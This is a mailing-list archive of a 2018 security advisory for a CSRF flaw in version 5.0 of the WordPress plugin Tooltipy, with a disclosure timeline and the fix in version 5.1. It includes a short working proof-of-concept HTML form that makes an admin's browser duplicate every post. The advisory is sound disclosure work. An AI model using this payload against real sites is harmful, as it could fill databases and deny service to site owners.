lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 12 Jun 2018 18:39:13 +0000
From: dxw Security <>
Subject: [FD] CSRF in Tooltipy (tooltips for WP) could allow anybody to
	duplicate posts (WordPress plugin)

Software: Tooltipy (tooltips for WP)
Version: 5.0
Advisory report:
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

CSRF in Tooltipy (tooltips for WP) could allow anybody to duplicate posts

There is a CSRF vulnerability in Tooltipy’s “KTTG Converter” feature which allows anybody able to convince an admin to follow a link to duplicate posts. The PoC provided below allows duplicating every post with post_type post. The most obvious malicious use of this vulnerability would be to fill up a disk or database quota which might lead to denial of service or other issues.

Proof of concept
Open a page containing the following HTML, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=my_keywords_settings_importer\">
 <input type=\"text\" name=\"go\" value=\"true\">
 <input type=\"text\" name=\"bluet_posttypes_list\" value=\"post\">
 <input type=\"submit\">
Every post with post_type post will have been duplicated.
In a real attack, the form can be made to autosubmit.

Upgrade to version 5.1 or later.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:

Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2018-03-29: Discovered
2018-04-10: Reported to vendor via email (first attempt)
2018-04-30: Asked if they’d received the email, via Facebook private message (second attempt)
2018-05-03: Reported again via contact form (third attempt)
2018-05-18: Reported to
2018-05-18: WordPress plugin team disabled downloads of the plugin
2018-05-21: Vendor reported a fix has been made for the bug (first contact from vendor)
2018-06-05: Updated version of plugin is now available for download on
2018-06-12: Advisory published

Discovered by dxw:
Tom Adams
Please visit for more information.

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists